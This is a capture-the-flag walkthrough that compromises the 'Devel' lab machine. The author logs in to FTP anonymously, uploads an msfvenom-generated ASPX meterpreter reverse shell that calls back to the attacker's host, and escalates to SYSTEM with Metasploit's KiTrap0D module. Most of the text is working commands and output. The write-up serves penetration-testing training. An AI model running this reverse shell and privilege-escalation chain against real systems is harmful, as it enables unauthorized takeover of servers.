Devel is a short and sweet box that tests the user’s ability to enumerate with NMAP and Metasploit.
Step 1: Enumerate with NMAP
We start our investigation by enumerating the target with NMAP.
➜ devel nmap -vv -A 10.129.4.25 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93SVN ( https://nmap.org ) at 2023-01-29 15:08 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:08
Completed NSE at 15:08, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:08
Completed NSE at 15:08, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:08
Completed NSE at 15:08, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 15:08
Completed Parallel DNS resolution of 1 host. at 15:08, 0.00s elapsed
Initiating Connect Scan at 15:08
Scanning 10.129.4.25 [1000 ports]
Discovered open port 80/tcp on 10.129.4.25
Discovered open port 21/tcp on 10.129.4.25
Completed Connect Scan at 15:09, 6.74s elapsed (1000 total ports)
Initiating Service scan at 15:09
Scanning 2 services on 10.129.4.25
Completed Service scan at 15:09, 6.18s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.4.25.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:09
NSE: [ftp-bounce 10.129.4.25:21] PORT response: 501 Server cannot accept argument.
Completed NSE at 15:09, 5.08s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:09
Completed NSE at 15:09, 0.18s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
Nmap scan report for 10.129.4.25
Host is up, received user-set (0.029s latency).
Scanned at 2023-01-29 15:08:55 EST for 18s
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http syn-ack Microsoft IIS httpd 7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.51 seconds
We can see that ports 21 and 80 are open, and that port 21 also allows anonymous FTP login. Let’s try logging in and checking for any valuable finds.
Step 2: Searching the FTP Directory Structure
Now we can login to FTP with the credentials anonymous:anonymous.
➜ devel ftp 10.129.4.25
Connected to 10.129.4.25.
220 Microsoft FTP Service
Name (10.129.4.25:exo): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>
We can see the files and folders in our current directory with the ls command.
ftp> ls
229 Entering Extended Passive Mode (|||49158|)
125 Data connection already open; Transfer starting.
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
03-17-17 04:37PM 184946 welcome.png
226 Transfer complete.
ftp>
This looks like the web root directory for the site at http://10.129.4.25. Let’s try uploading a reverse shell via ftp and triggering it by visiting the page in a web browser.
Step 3: Generating a Reverse Shell with MSFVenom
We can generate a reverse shell with the following command:
➜ devel msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.86 LPORT=4444 -f aspx > devel.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2895 bytes
Now we just need to upload the file with FTP.
ftp> put devel.aspx
local: devel.aspx remote: devel.aspx
229 Entering Extended Passive Mode (|||49159|)
125 Data connection already open; Transfer starting.
100% |*************************************************************************************************************************************************************************************************| 2935 32.17 MiB/s --:-- ETA
226 Transfer complete.
2935 bytes sent in 00:00 (29.37 KiB/s)
ftp>
Step 4: Setting up a Listener and Triggering the Reverse Shell
Now we need to set up a listener to catch the reverse shell. We can use metasploit’s exploit/multi/handler to give us a more capable shell.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set lhost tun0
lhost => 10.10.14.86
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.86:4444
The next step is to trigger the reverse shell by visiting http://10.129.4.25/devel.aspx in a browser. We can see that loading this page in a browser updated our terminal to the following, letting us know that we now have a meterpreter session.
[*] Started reverse TCP handler on 10.10.14.86:4444
[*] Sending stage (175686 bytes) to 10.129.4.25
[*] Meterpreter session 1 opened (10.10.14.86:4444 -> 10.129.4.25:49170) at 2023-01-29 15:32:30 -0500
meterpreter > getuid
Server username: IIS APPPOOL\Web
We have a session as IIS APPPOOL\Web, but we need to upgrade our privileges to SYSTEM or Administrator level.
Step 5: Escalating Privileges
Our next step is to escalate privileges. We can send our meterpreter session to the background and search for the local exploit suggester.
meterpreter >
Background session 3? [y/N]
msf6 exploit(multi/handler) > search suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
We just need to supply a meterpreter session and the local exploit suggester will scan the victim system and list exploits that may work on the target.
msf6 exploit(multi/handler) > use 0
msf6 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on
SHOWDESCRIPTION true yes Displays a detailed description for the available exploits
View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.86:4444 -> 10.129.4.25:49172 (10.129.4.25)
3 meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.86:4444 -> 10.129.4.25:49173 (10.129.4.25)
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > exploit
[*] 10.129.4.25 - Collecting local exploits for x86/windows...
[*] 10.129.4.25 - 176 exploit checks are being tried...
[+] 10.129.4.25 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
This module will bypass Windows UAC by hijacking a special key in
the Registry under the current user hive, and inserting a custom
command that will get invoked when the Windows Event Viewer is
launched. It will spawn a second shell that has the UAC flag turned
off. This module modifies a registry key, but cleans up the key once
the payload has been invoked. The module does not require the
architecture of the payload to match the OS. If specifying
EXE::Custom your DLL should call ExitProcess() after starting your
payload in a separate process.
[+] 10.129.4.25 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
This module will create a new session with SYSTEM privileges via the
KiTrap0D exploit by Tavis Ormandy. If the session in use is already
elevated then the exploit will not run. The module relies on
kitrap0d.x86.dll, and is not supported on x64 editions of Windows.
[+] 10.129.4.25 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
This module exploits the Task Scheduler 2.0 XML 0day exploited by
Stuxnet. When processing task files, the Windows Task Scheduler only
uses a CRC32 checksum to validate that the file has not been
tampered with. Also, In a default configuration, normal users can
read and write the task files that they have created. By modifying
the task file and creating a CRC32 collision, an attacker can
execute arbitrary commands with SYSTEM privileges. NOTE: Thanks to
webDEViL for the information about disable/enable.
[+] 10.129.4.25 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
This module leverages a kernel pool overflow in Win32k which allows
local privilege escalation. The kernel shellcode nulls the ACL for
the winlogon.exe process (a SYSTEM process). This allows any
unprivileged process to freely migrate to winlogon.exe, achieving
privilege escalation. This exploit was used in pwn2own 2013 by MWR
to break out of chrome's sandbox. NOTE: when a meterpreter session
started by this exploit exits, winlogin.exe is likely to crash.
[+] 10.129.4.25 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
This module exploits a vulnerability in win32k.sys where under
specific conditions TrackPopupMenuEx will pass a NULL pointer to the
MNEndMenuState procedure. This module has been tested successfully
on Windows 7 SP0 and Windows 7 SP1.
[+] 10.129.4.25 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
This module exploits a NULL Pointer Dereference in win32k.sys, the
vulnerability can be triggered through the use of TrackPopupMenu.
Under special conditions, the NULL pointer dereference can be abused
on xxxSendMessageTimeout to achieve arbitrary code execution. This
module has been tested successfully on Windows XP SP3, Windows 2003
SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1
and Windows 2008 R2 SP1 64 bits.
[+] 10.129.4.25 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
This module abuses a process creation policy in Internet Explorer's
sandbox; specifically, Microsoft's RemoteApp and Desktop Connections
runtime proxy, TSWbPrxy.exe. This vulnerability allows the attacker
to escape the Protected Mode and execute code with Medium Integrity.
At the moment, this module only bypass Protected Mode on Windows 7
SP1 and prior (32 bits). This module has been tested successfully on
Windows 7 SP1 (32 bits) with IE 8 and IE 11.
[+] 10.129.4.25 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
This module exploits improper object handling in the win32k.sys
kernel mode driver. This module has been tested on vulnerable builds
of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.
[+] 10.129.4.25 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
This module exploits the vulnerability in mrxdav.sys described by
MS16-016. The module will spawn a process on the target system and
elevate its privileges to NT AUTHORITY\SYSTEM before executing the
specified payload within the context of the elevated process.
[+] 10.129.4.25 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
This module exploits the lack of sanitization of standard handles in
Windows' Secondary Logon Service. The vulnerability is known to
affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This
module will only work against those versions of Windows with
Powershell 2.0 or later and systems with two or more CPU cores.
[+] 10.129.4.25 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
Module utilizes the Net-NTLMv2 reflection between DCOM/RPC to
achieve a SYSTEM handle for elevation of privilege. Currently the
module does not spawn as SYSTEM, however once achieving a shell, one
can easily use incognito to impersonate the token.
[+] 10.129.4.25 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
This module exploits a NULL pointer dereference vulnerability in
MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver()
system call. The NULL pointer dereference occurs because the
xxxMNFindWindowFromPoint() function does not effectively check the
validity of the tagPOPUPMENU objects it processes before passing
them on to MNGetpItemFromIndex(), where the NULL pointer dereference
will occur. This module has been tested against Windows 7 x86 SP0
and SP1. Offsets within the solution may need to be adjusted to work
with other versions of Windows, such as Windows Server 2008.
[+] 10.129.4.25 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due
to the usage of uninitialized data which allows to corrupt memory.
At the moment, the module has been tested successfully on Windows XP
SP3, Windows 2003 SP1, and Windows 7 SP1.
[*] Running check method for exploit 41 / 41
[*] 10.129.4.25 - Valid modules for session 2:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
2 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated.
3 exploit/windows/local/ms10_092_schelevator Yes The service is running, but could not be validated.
4 exploit/windows/local/ms13_053_schlamperei Yes The target appears to be vulnerable.
5 exploit/windows/local/ms13_081_track_popup_menu Yes The target appears to be vulnerable.
6 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
7 exploit/windows/local/ms15_004_tswbproxy Yes The service is running, but could not be validated.
8 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
9 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated.
10 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
11 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.
12 exploit/windows/local/ntusermndragover Yes The target appears to be vulnerable.
13 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
14 exploit/windows/local/adobe_sandbox_adobecollabsync No Cannot reliably check exploitability.
15 exploit/windows/local/agnitum_outpost_acs No The target is not exploitable.
16 exploit/windows/local/always_install_elevated No The target is not exploitable.
17 exploit/windows/local/anyconnect_lpe No The target is not exploitable. vpndownloader.exe not found on file system
18 exploit/windows/local/bits_ntlm_token_impersonation No The target is not exploitable.
19 exploit/windows/local/bthpan No The target is not exploitable.
20 exploit/windows/local/bypassuac_fodhelper No The target is not exploitable.
21 exploit/windows/local/bypassuac_sluihijack No The target is not exploitable.
22 exploit/windows/local/canon_driver_privesc No The target is not exploitable. No Canon TR150 driver directory found
23 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move No The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!
24 exploit/windows/local/cve_2020_1048_printerdemon No The target is not exploitable.
25 exploit/windows/local/cve_2020_1337_printerdemon No The target is not exploitable.
26 exploit/windows/local/gog_galaxyclientservice_privesc No The target is not exploitable. Galaxy Client Service not found
27 exploit/windows/local/ikeext_service No The check raised an exception.
28 exploit/windows/local/ipass_launch_app No The check raised an exception.
29 exploit/windows/local/lenovo_systemupdate No The check raised an exception.
30 exploit/windows/local/lexmark_driver_privesc No The target is not exploitable. No Lexmark print drivers in the driver store
31 exploit/windows/local/mqac_write No The target is not exploitable.
32 exploit/windows/local/ms14_070_tcpip_ioctl No The target is not exploitable.
33 exploit/windows/local/ms16_075_reflection_juicy No The target is not exploitable.
34 exploit/windows/local/ms_ndproxy No The target is not exploitable.
35 exploit/windows/local/novell_client_nicm No The target is not exploitable.
36 exploit/windows/local/ntapphelpcachecontrol No The target is not exploitable.
37 exploit/windows/local/panda_psevents No The target is not exploitable.
38 exploit/windows/local/ricoh_driver_privesc No The target is not exploitable. No Ricoh driver directory found
39 exploit/windows/local/tokenmagic No The target is not exploitable.
40 exploit/windows/local/virtual_box_guest_additions No The target is not exploitable.
41 exploit/windows/local/webexec No The check raised an exception.
[*] Post module execution completed
We are presented with a long list of potential exploits, but we find success with exploit/windows/local/ms10_015_kitrap0d after trying a few.
msf6 exploit(multi/handler) > search kitrap0d
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/ms10_015_kitrap0d 2010-01-19 great Yes Windows SYSTEM Escalation via KiTrap0D
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/ms10_015_kitrap0d
msf6 exploit(multi/handler) > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms10_015_kitrap0d) > show options
Module options (exploit/windows/local/ms10_015_kitrap0d):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.173 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 2K SP4 - Windows 7 (x86)
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/ms10_015_kitrap0d) > set lhost tun0
lhost => tun0
msf6 exploit(windows/local/ms10_015_kitrap0d) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.86:4444 -> 10.129.4.25:49175 (10.129.4.25)
5 meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.86:4444 -> 10.129.4.25:49177 (10.129.4.25)
msf6 exploit(windows/local/ms10_015_kitrap0d) > set session 4
session => 4
msf6 exploit(windows/local/ms10_015_kitrap0d) > set lport 4445
lport => 4445
msf6 exploit(windows/local/ms10_015_kitrap0d) > exploit
[*] Started reverse TCP handler on 10.10.14.86:4445
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 2568 launched.
[*] Reflectively injecting the DLL into 2568...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175686 bytes) to 10.129.4.25
[*] Meterpreter session 6 opened (10.10.14.86:4445 -> 10.129.4.25:49178) at 2023-01-29 15:50:15 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
After supplying the exploit/windows/local/ms10_015_kitrap0d module with the local host, local port, and session number we simply run the exploit and are given access to the SYSTEM account. The only remaining step is to navigate to each user’s desktop and grab the flags.